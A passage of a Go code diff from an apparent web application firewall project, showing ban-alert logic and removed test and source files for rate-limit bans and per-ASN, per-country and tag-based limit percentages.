rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
// wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
// netblock's requests, which can mean going through every client.
func (rq *request) wouldAlertBan(
netblock netip.Prefix, now time.Time, cause string,
) bool {
event := alerts.EventBan
if rq.h.ledger.WouldBePermanent(netblock, now, cause) {
event = alerts.EventPermanentBan
}
return rq.h.alerts.WouldSend(event, netblock)
}
// alertBan raises the alert for ban, which the request made, or made
// permanent: permanent_ban for a permanent ban, ban for another. Its
// detail gives the ban's cause, when it ends, and its notes, and in
// observe mode, where ban is the ban that would have been made, or made
// permanent, mode, observe.
func (rq *request) alertBan(ban bans.Ban) {
event := alerts.EventBan
if ban.Permanent() {
event = alerts.EventPermanentBan
}
detail := map[string]any{
"cause": ban.Cause, "ban_expires": banExpires(ban), "notes": ban.Notes,
}
if rq.h.config.Observe {
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: event,
Host: rq.site,
Client: rq.client,
Netblock: ban.Netblock,
ASN: ban.Notes.ASN,
ASName: ban.Notes.ASName,
Country: ban.Notes.Country,
Reason: ban.Reason,
Detail: detail,
})
}
// noted is the request, at now, with status, what the client was sent, or
// in observe mode would have been, as the notes of the ban it makes keep
// it.
func (rq *request) noted(now time.Time, status int) bans.Request {
return bans.Request{
Time: now,
Method: rq.line.Method,
Host: rq.line.Host,
Path: rq.requestURI,
Status: status,
UserAgent: rq.line.UserAgent,
}
}
// netblockRequests is how many requests netblock has sent since it was
// first seen, this one included: the histories count it only once it has
// ended.
func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
return rq.h.limiter.Requests(netblock) + 1
}
// netblock is the netblock a ban on client covers: its IPv4 address,
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
// counts it in.
func (h *handler) netblock(client netip.Addr) netip.Prefix {
addr := client.Unmap()
if addr.Is4() {
return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
}
return h.clientGroup(addr)
}
// banExpires is when ban ends, as the log line gives it: a time, or
// permanent.
func banExpires(ban bans.Ban) string {
if ban.Permanent() {
return permanent
}
return requestlog.FormatTime(ban.Expires)
}
internal/discriminator/bans_test.go
-508
View File
@@ -1,508 +0,0 @@
package discriminator_test
import (
"bufio"
"errors"
"io"
"maps"
"net/http"
"net/netip"
"reflect"
"slices"
"strings"
"sync"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
// otherClient is a client next to client.
otherClient = "203.0.113.10"
// userAgent is the user agent of every request a sender sends.
userAgent = "ban-test/1.0"
// permanent is the log line's ban_expires for a permanent ban.
permanent = "permanent"
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
banResponseClose = "close"
)
func TestBrokenLimitBansTheClient(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
// The request over the limit of one a minute is refused, and bans the
// client for an hour, the default.
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
expires)
}
// Every request while the ban lasts is refused.
clk.advance(time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others", line.BanExpires, line.Offence,
line.LimitHit, expires)
}
// Once it ends, the client is let through.
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
}
func TestBanLengthsFollowTheSettings(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1",
limitBanDuration: "10m",
limitBanRepeatWindow: "1h",
maxBanDuration: "1h",
})
// breakLimit has client go over the limit of one a minute, and
// returns when the ban that makes ends.
breakLimit := func() string {
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
return line.BanExpires
}
wantExpires := func(got string, length time.Duration) {
t.Helper()
want := requestlog.FormatTime(clk.Now().Add(length))
if got != want {
t.Errorf("ban ends at %s, want %s", got, want)
}
}
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10*time.Minute + time.Hour)
wantExpires(breakLimit(), 30*time.Minute)
// Later than that, SWW_LIMIT_BAN_DURATION again.
clk.advance(30*time.Minute + time.Hour + time.Second)
wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
// permanent.
clk.advance(30 * time.Minute)
got := breakLimit()
if got != permanent {
t.Errorf("ban ends at %s, want a permanent one", got)
}
clk.advance(365 * 24 * time.Hour)
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
}
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
// The third request in a day is over the limit of two, and bans the
// client for an hour.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for range 3 {
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
// Later the same day the client has its whole allowance again: the
// ban set its counters back to zero, and the requests it refused were
// not counted for the rate limits, only in its notes.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(banned) != 2 || banned[0].Notes.Refused != 3 {
t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
}
}
func TestBanCoversTheClientsNetblock(t *testing.T) {
t.Parallel()
// In the IPv4 cases, client breaks the limit; these two are next to it.
const (
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
for _, tc := range []struct {
name string
env map[string]string
breaker string // the client that breaks the limit
refused []string
let []string // let through
}{
{
"an IPv4 address, by default", nil, client,
nil, []string{otherClient, exempt},
},
{
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
map[string]string{banScopeV4Prefix: "24"}, client,
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
},
{
"an IPv6 /64, by default", nil, "2001:db8:5::1",
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
},
{
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
env := map[string]string{
rateLimitPerMinute: "1",
allowNets: allowed,
rateLimitExemptNets: exempt,
}
maps.Copy(env, tc.env)
s, _, _ := startWithClock(t, "", env)
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for _, sent := range tc.refused {
s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
for _, sent := range tc.let {
s.get(sent, http.StatusOK, requestlog.ActionForward)
}
})
}
}
func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
t.Parallel()
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
tagDeny: denyKP,
})
// fromDE's ban covers otherClient, which is refused unasked about.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.Country != "" {
t.Errorf("log line has country %q, want none", line.Country)
}
if !slices.Equal(asked(), []string{fromDE}) {
t.Errorf("GeoJS was asked about %v, want %s alone", asked(), fromDE)
}
}
func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1", banScopeV4Prefix: "24",
})
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "active_ban",
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
}
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_DENY_NETS
for _, tc := range []struct {
setting string // "" leaves SWW_BAN_RESPONSE at its default
status int // 0 is the connection closed without an answer
}{
{"", http.StatusForbidden},
{"403", http.StatusForbidden},
{"429", http.StatusTooManyRequests},
{banResponseClose, 0},
} {
t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
}
if tc.setting != "" {
env[banResponse] = tc.setting
}
s, _, _ := startWithClock(t, geojsURL, env)
s.get(denied, tc.status, requestlog.ActionClientDenied)
s.get(fromKP, tc.status, requestlog.ActionClientDenied)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, tc.status, requestlog.ActionClientIsRateLimited)
s.get(fromDE, tc.status, requestlog.ActionTemporarilyBanned)
})
}
}
func TestBanNotes(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
tagDeny: denyKP,
})
start := clk.Now()
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.request(fromDE, "/repo/commits?page=2",
http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
netblock := netip.MustParsePrefix(fromDE + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 1",
Notes: bans.Notes{
ASN: asnDE,
ASName: asNameDE,
Country: "DE",
Kind: "requests",
Limit: 1,
Window: minute,
Count: 2,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/repo/commits?page=2",
Status: http.StatusForbidden,
UserAgent: userAgent,
},
// The one let through, the one that broke the limit and the two
// refused under the ban.
Requests: 4,
Refused: 2,
EarlierBans: bans.EarlierBans{},
},
}
ledger := server.Ledger
got := ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next ban counts this one among the earlier.
clk.advance(time.Hour)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
got = ledger.Bans(netblock)
if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
}
}
func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1",
maxBans: "1",
})
// One ban is held, so otherClient's ban drops client's.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
// clock is the time a test sets, by which sww counts requests and
// makes bans.
type clock struct {
mu sync.Mutex
now time.Time
}
// Now tells the time.
func (c *clock) Now() time.Time {
c.mu.Lock()
defer c.mu.Unlock()
return c.now
}
// advance moves the clock on by d.
func (c *clock) advance(d time.Duration) {
c.mu.Lock()
defer c.mu.Unlock()
c.now = c.now.Add(d)
}
// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
// with the settings in env on top of trusting localhost's
// X-Forwarded-For, clients' AS numbers and countries looked up at
// geojsURL, and a clock set to midnight, the start of a bucket in every
// window.
func startWithClock(
t *testing.T, geojsURL string, env map[string]string,
) (*sender, *clock, *discriminator.Server) {
t.Helper()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
settings := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(settings, env)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
}
// sender sends requests to rproxy one after another, each on a connection of its
// own, and checks each one's answer and log line. discriminatorAddr is where
// discriminator's own endpoints are, which ownEndpointRequest asks. Every request
// discriminator gets must come through the sender, since the log lines are
// matched to them in order.
type sender struct {
t *testing.T
addr string
discriminatorAddr string
out *output
sent int
}
// get sends a GET request for / from the client at from.
func (s *sender) get(from string, status int, action string) logLine {
s.t.Helper()
return s.request(from, "/", status, action)
}
// request sends a GET request for path from the client at from, as
// X-Forwarded-For names it, and checks that its answer and its log line
// have status, 0 for the connection closed without an answer, and that
// the line has action. It returns the log line.
func (s *sender) request(from, path string, status int, action string) logLine {
s.t.Helper()
return s.requestWithHeader(from, path, "", status, action)
}
// requestWithHeader is request with header, such as "Authorization:
// Bearer x", added to the request unless it is "".
func (s *sender) requestWithHeader(
from, path, header string, status int, action string,
) logLine {
s.t.Helper()
line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
return line
}
// requestWithBody is requestWithHeader for a request with method, whose
// body is sent as it is after the headers, header holding its
// Content-Length or Transfer-Encoding. header may hold several lines,
// separated by "\r\n". It returns the whole answer.
func (s *sender) requestWithBody(
method, from, path, header, body string, status int, action string,
) (logLine, answer) {
s.t.Helper()
if header != "" {
header += "\r\n"
}
// rproxy refuses a request with more than one.
if !strings.Contains(header, "User-Agent:") {
header += "User-Agent: " + userAgent + "\r\n"
}
conn := dial(s.t, s.addr)
send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil {
s.t.Fatalf("set read deadline: %v", err)
}
var got answer
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
switch {
case err == nil:
got = readAnswer(res)
case !errors.Is(err, io.ErrUnexpectedEOF):
s.t.Fatalf("read response: %v", err)
}
_ = conn.Close()
if got.status != status {
s.t.Errorf("request %d, from %s: status %d, want %d", s.sent+1, from,
got.status, status)
}
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, status, action)
return line, got
}
internal/discriminator/biased.go
-129
View File
@@ -1,129 +0,0 @@
package discriminator
import (
"sneak.berlin/go/smallwebwaf/internal/config"
)
// whole is the percentage of each limit a client gets when no biased
// threshold lowers its limits.
const whole = 100
// percentage is a client's limit percentage for the rate limits or for
// the byte limits, as the biased thresholds give it, and the setting that
// gave it: "" with whole when none lowers that kind of limit.
type percentage struct {
percent int64
setting string
}
// biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
}
// limitPercentages returns the client's limit percentages, for the rate
// limits and for the byte limits, by its tags, its AS number and country
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
// AbuseIPDB that list it. Each is the lowest of those the settings give
// it, the first of them in the order below when several are lowest: the
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
// take the place of the first three for an AS number or a country they
// list.
func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
}
fetched := percentage{percent: whole}
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
}
blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
}
reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
}
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
otherTags := percentage{percent: whole}
for _, tag := range rq.line.Tags {
if tag != asnTag(asn) && tag != countryTag(country) {
otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
}
}
asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesPercent[asn]; listed {
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
}
if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
}
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
reputationListed),
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
}
// given returns the percentage percents, the setting named setting, gives
// code, an AS number, a country or a tag, or whole when it does not list code.
func given(percents map[string]int64, code, setting string) percentage {
percent, listed := percents[code]
if !listed {
return percentage{percent: whole}
}
return percentage{percent, setting}
}
// lowest returns the lowest of percentages below whole, the first of them
// when several are lowest, or whole when none is below it.
func lowest(percentages ...percentage) percentage {
low := percentage{percent: whole}
for _, p := range percentages {
if p.percent < low.percent {
low = p
}
}
return low
}
// logged returns p as the log line and the notes of a ban give it: its
// percent and setting, or nil and "" for whole, which they leave out.
func (p percentage) logged() (*int64, string) {
if p.percent == whole {
return nil, ""
}
return &p.percent, p.setting
}
internal/discriminator/biased_test.go
-519
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@@ -1,519 +0,0 @@
package discriminator_test
import (
"fmt"
"io"
"maps"
"net/http"
"net/http/httptest"
"net/netip"
"path/filepath"
"strings"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The biased thresholds.
const (
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
)
const (
// asnDEHalf and countryDEHalf give fromDE's AS number and its country
// half of every limit, and asnDEQuarter gives its AS number a quarter.
asnDEHalf = asnDE + ":50"
asnDEQuarter = asnDE + ":25"
countryDEHalf = "de:50"
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
asnTagDEHalf = "asn=64496:50"
asnTagDEQuarter = "asn=64496:25"
countryTagDEHalf = "country=DE:50"
countryTagDEQuarter = "country=DE:25"
// noCountry is in an AS of its own, AS64500, and in no country.
noCountry = "192.0.2.80"
// fourAMinute is the rate limit these tests set: half of it is 2
// requests a minute, a quarter of it 1.
fourAMinute = "4"
// twoUploads is the byte limit these tests set: 199 bytes, which an
// upload, a request with a body and its answer, 100 bytes, is within,
// and half of which, 99 bytes, it is over.
twoUploads = "199"
// none is how percentText gives a percentage left out.
none = "none"
)
func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
setting, value, from string
}{
{tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, countryTagDEHalf, fromDE},
{unknownLimitPercent, "50", unplaced},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, tc.setting: tc.value,
})
// Half of 4 requests a minute: the third breaks the limit.
for _, sent := range []struct {
status int
action string
}{
{http.StatusOK, requestlog.ActionForward},
{http.StatusOK, requestlog.ActionForward},
{http.StatusForbidden, requestlog.ActionClientIsRateLimited},
} {
line := s.get(tc.from, sent.status, sent.action)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"50 from "+tc.setting)
}
// fromKP, which no setting lists, has the whole limit.
for range 3 {
line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
none)
}
})
}
}
func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
t.Parallel()
// The AS numbers and countries are given in either case.
for _, tc := range []struct {
setting, value, from string
}{
{tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, "Country=de:50", fromDE},
{unknownLimitPercent, "50", unplaced},
{asnBytesPercent, "as64496:50", fromDE},
{countryBytesPercent, countryDEHalf, fromDE},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{
bytesLimitPerMinute: twoUploads, tc.setting: tc.value,
})
// The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(tc.from)
if line.LimitHit != minuteBytes {
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
}
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
"50 from "+tc.setting)
// fromKP, which no setting lists, has the whole limit.
line = s.uploadFrom(fromKP)
if line.LimitHit != "" {
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
}
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
})
}
}
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// rateLimitPercent and bytesLimitPercent are the log line's, as
// percentText gives them, and limitHit is its limit_hit.
rateLimitPercent, bytesLimitPercent, limitHit string
}{
{
"lowering the byte limits alone",
map[string]string{asnBytesPercent: asnDEHalf},
none, "50 from " + asnBytesPercent, minuteBytes,
},
{
"lowering the byte limits alone, by country",
map[string]string{countryBytesPercent: countryDEHalf},
none, "50 from " + countryBytesPercent, minuteBytes,
},
{
"raising the byte limits back",
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
"50 from " + tagLimitPercent, none, "",
},
{
"raising the byte limits back, by country",
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
"50 from " + tagLimitPercent, none, "",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
env := map[string]string{bytesLimitPerMinute: twoUploads}
maps.Copy(env, tc.env)
s, _, _ := startWithLookups(t, env)
// The upload's 100 bytes are over 99, half of 199, and within 199.
line := s.uploadFrom(fromDE)
if line.LimitHit != tc.limitHit {
t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
}
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.rateLimitPercent)
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.bytesLimitPercent)
})
}
}
func TestZeroPercentIsAZeroAllowance(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
// The first request breaks the limit, and bans the client; the log line
// gives the 0.
line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
unknownLimitPercent)
}
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
func TestLowestPercentageApplies(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
from string
// want is the log line's rate_limit_percent, as percentText gives it.
want string
}{
{
"the country's",
map[string]string{tagLimitPercent: asnTagDEHalf + "," + countryTagDEQuarter},
fromDE, "25 from " + tagLimitPercent,
},
{
"the AS number's",
map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEHalf},
fromDE, "25 from " + tagLimitPercent,
},
{
"the AS number's, the first of two alike",
map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEQuarter},
fromDE, "25 from " + tagLimitPercent,
},
{
"that for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
noCountry, "25 from " + unknownLimitPercent,
},
{
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + tagLimitPercent,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
env := map[string]string{rateLimitPerMinute: fourAMinute}
maps.Copy(env, tc.env)
s, _, _ := startWithLookups(t, env)
// A quarter of 4 requests a minute: the second breaks the limit.
s.get(tc.from, http.StatusOK, requestlog.ActionForward)
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want)
})
}
}
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
})
// One the lookup database does not hold, and one on a private address,
// which is never looked up: the third request of each breaks half of 4.
for _, from := range []string{unplaced, "10.0.0.8"} {
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}
// One in a country has the whole limit.
for range 3 {
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
}
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client
// counts as without a country, and its zero allowance refuses the
// request.
serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownLimitPercent)
})
}
func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
t.Parallel()
const timeout = 3 * time.Second
for _, tc := range []struct {
setting, value string
waits bool
}{
{tagLimitPercent, asnTagDEHalf, true},
{tagLimitPercent, countryTagDEHalf, true},
{tagDeny, denyKP, true},
// A tag the lookup does not give needs no answer.
{tagLimitPercent, "vpn:50", false},
{tagDeny, "vpn", false},
{asnBytesPercent, asnDEHalf, true},
{countryBytesPercent, countryDEHalf, true},
{unknownLimitPercent, "99", true},
{asnLimitPercentURL, asnURL, true},
